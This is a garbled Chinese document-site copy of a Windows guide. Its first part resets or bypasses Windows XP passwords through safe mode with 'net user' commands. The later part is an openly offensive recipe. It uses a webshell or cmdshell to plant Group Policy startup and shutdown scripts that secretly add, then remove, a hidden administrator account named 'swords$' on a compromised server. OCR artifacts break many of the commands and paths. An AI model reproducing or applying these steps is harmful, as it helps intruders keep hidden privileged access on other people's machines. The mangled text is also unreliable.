《解除管理员权限》由会员分享，可在线阅读，更多相关《解除管理员权限（3页珍藏版）》请在金锄头文库上搜索。
1、方法一：启动计算机，在WindowsXP启动画面出现后马上按下F8键，选择“带 命令行的安全模式”。运行过程结束时，系统列出系统超级用户“administrator”和本地用户“xxx” 的选择菜单，鼠标单击“ adminis tra tor”，进入命令行模式，然后就可以用net user password命令来修改密码了。比如账号为rhomb希望将密码设置为1234，那么可以输入：net user rhonb 1234/add这样就强制将“rhomb”用户的口令更改为“ 1234”。若想在此添加一 新用户，用户名为li，口令为333，只要键入：net user li 333/add然后再把
2、这个li用户加入管理员组：net localgroup administrators li/add这样，用 户“li”就成为系统管理组“administrators”的用户了。最后重新启动计算 机，选择正常模式下运行，就可以用更改后的口令“1234”登录了。本文引用网址http:/ “安全模式”进入系统；打开“控制面板”，找到“用户和密码”选项，看看是 不是账户中包括Administrators?好，现在将Administrators账户删除，重新 创建一个Administrators，或是更改原来的Administrators账户密码；重新启 动计算机后，只有输入新的密码才能登录Window
3、s XP。方法三(1) 如果在安装Windows XP时，Administrator密码设置为空，在安装后被新建 一管理员取代，大家可以在系统引导的时候按F8进入安全模式，这里的 Administrator 口令为空，可以直接进入，进入后对帐户和密码进行设置即可。(2) 如果设置了 Administrator 口令，解密的方法是：用密码重设盘设新密码：进入安全模式登录到Windows XP后，按下“Ctrl + Alt + Del ”组合键，出现“Windows安全”窗口，点击选项中“更改密码”按钮，出现更改密码窗口。 这个窗口中，将当前用户的密码备份，点击左下角“备份”按钮，激活“忘记密 码
4、向导”，按照提示创建密码重设盘。如果在Windows XP的登录窗口输入了错误的密码，就会弹出“登录失败” 窗口，如果你的确想不起来自己的密码是什么时，可点击“重设”按钮，启动密 码重设向导，通过刚才所创建的密码重设盘，重新设定密码，登录Windows XPO方法四A开机启动WinXP，当运行到“正在启动Windows XP”的提示界面时，按“F8” 键调出系统启动选择菜单，选择“带命令行安全模式”；B当运行停止后，会列出“Administrator”和其它用户的选择菜单(本例的其他 用户以xpuserO1为例)，选择“Administrator”后回车，进入命令行模式；C键入命令“ “net
5、 user xpuserO1 1234/ADD”这是更改该用户密码的命令，命 令中的“ 1234”是更改后的新密码，如果键入的用户不存在(xpuserO1)，那么 系统会自动添加这个用户。D 另外还可以使用 “net 1oca1group administrator xpuserO1 /ADD命令把 xpuser01这个用户升为超级用户，即可拥有所有权限。E 最后一步，就是重新启动计算机，在登录窗口中输入刚刚更改的新密码便可成 功登陆。现在我们利用启动脚本和批处理在获得shell的情况下提升权限第9法：启动脚本法！首 家批漏啊，大家可得看好了，我尽量废话少说，言简意赅的表述。注：启动脚本是邀请
6、用户登录之前运行的批文件，它的功能类似于Win9X和DOS中的自动 执行批处理文件autoexec.bat,由于脚本是在windows登陆之前运行，所以我们可以修改脚 本内容来对系统进行设置，如启动一个后门程序,添加一个管理员帐号，修改管理员帐号等等， 随你想吧.嘎嘎.本文首先介绍通过webshell添加一个隐藏帐号（毕竟这才是大家最关心的:）,然后具体讲解 一下出现问题后的解决方法如何添加一个帐号？一. 如果你可以直接写文件，如用海洋.（1）首先，我们用海洋编写了一个新建管理员的批处理文件swords1.bat,如下：net user swords$C ontent$n bsp;eviloc
7、tal /addn et localgroup adm ini strators swords$C ontent$n bsp;/add这个批处理文件加了一个管理员名为swords$,密码为eviloctal的隐藏帐户，将文件 swords1.bat 保存到C:winntsystem32GroupPolicyMachineScriptsStartup下.（注意：c： winnt是系统目录，如果系统盘不是c盘，请相应修改为系统目录即可.在本机中 查看，你也许找不到GroupPolicy MachineScriptsStartup这个文件夹,可以选择工具/文件 夹选项/查看/单击显示所有文件和文件夹
8、在海洋中用fso可以显示所有文件就不必多此一举 了。）（2）接下来编写一个删除管理员的批处理文件swords2.bat,很简单，一句话即可，如下：net user swords$C ontent$n bsp;/del这个批处理文件删除一个管理员名为swords$的隐藏帐户，将文件swords2.bat保存到 C:wi nn tsystem32GroupPolicyMachi neScriptsShutdow n下.（3）编写一个启动/关机脚本配置文件*s.i ni（注意：*s是默认的配置文件名，不能改名！）如下：StartupOCmdL in e=swords1.bat0Parameters=
9、Shutdow n0CmdL in e=swords2.bat0Parameters=将文件*s.ini 保存到 C:winntsystem32GroupPolicyMachineScripts 下.二. 如果你有一个cmdshell,有 echo的权限就可以了，这样添加：（1）echo 一个swordsl.vbs启动时用的文件echo on error resume n ext C:wi nn tsystem32GroupPolicyMachi neScriptsStartup swords1.vbsecho net user swords$C ontent$n bsp;eviloctal
10、/addC:wi nn tsystem32GroupPolicyMach in eScriptsStartupswords1.vbsecho net localgroup adm ini strators swords$C ontent$n bsp;/addC:wi nn tsystem32GroupPolicyMach in eScriptsStartupswords1.vbs注意:第一行一定要用,这样才能删除原数据.(2) echo 一个swords2.vbs关闭时用的脚本文件 echo net user swords$C ontent$n bsp;/delC:wi nn tsystem3
11、2GroupPolicyMach in eScriptsShutdow nswords2.vbs(3) 编写一个启动/关机脚本配置文件*s.i niecho Startup C:wi nn tsystem32GroupPolicyMachi neScripts*s.i ni echoOCmdLi ne=swords1.vbs C:wi nn tsystem32GroupPolicyMachi neScripts*s. ini echo 0Parameters= C:wi nn tsystem32GroupPolicyMachi neScripts*s.i ni echo Shutdow n C
12、:wi nn tsystem32GroupPolicyMachi neScripts*s. ini echo0CmdLi ne=swords2.vbsC:wi nn tsystem32GroupPolicyMachi neScripts*s.i ni echo 0Parameters=C:wi nn tsystem32GroupPolicyMachi neScripts*s.i ni 将文件*s.ini 保存到 C:winntsystem32GroupPolicyMachineScripts 下.最后，等待服务器重新启动计算机或自己强制其启动(手段很多啊)。然后你就等着玩吧。 注意：本方法使用
13、时，须服务器已经指派了计算机启动脚本，否则本方法可能不成功。三.如果你是本机，或已经连接了对方的3389，但是只有普通用户权限，怎么办？ 在启用计算机启动/关机脚本前,必须进行指派.指派计算机启动/关机脚本需要通过组策略 MMC (管理控制台)管理单元进行：(1) 开始/运行/MMC,打开微软控制台(2) 按ctrl+M键，打开添加/删除管理单元窗口，单击添加。(3) 在添加独立管理单元对话框内选择组策略，点击添加按钮.(4) 择缺省的本地计算机组策略对象/完成/确定/确定，关闭窗口。(5) 在生成的“本地计算机”策略中打开计算机配置/Windows设置/脚本(启动/关闭)节点， 双击启动或关机项目设置计算机启动或关机时使用的脚本，单击浏览加如您要启动的脚 本文件，确定。(6) 设置完毕，保存后退出组策略MMC管理单元。等组策略刷新后，这些脚本就会在计算机 启动和关机时起作用。注意：你也可以直接打开gpedit.msc,依次展开计算机配置/Windows设置/脚本 (启动/关闭), 然后添加一个启动脚本。然后依次展开“计算机配置 /管理模板/ 系统/登陆，将“显示启动脚本的运行状态”启用。重新启动之后看看吧，打开 cmd，输入net user swords$显示详细的信息，噶噶，多了一个用户吧。
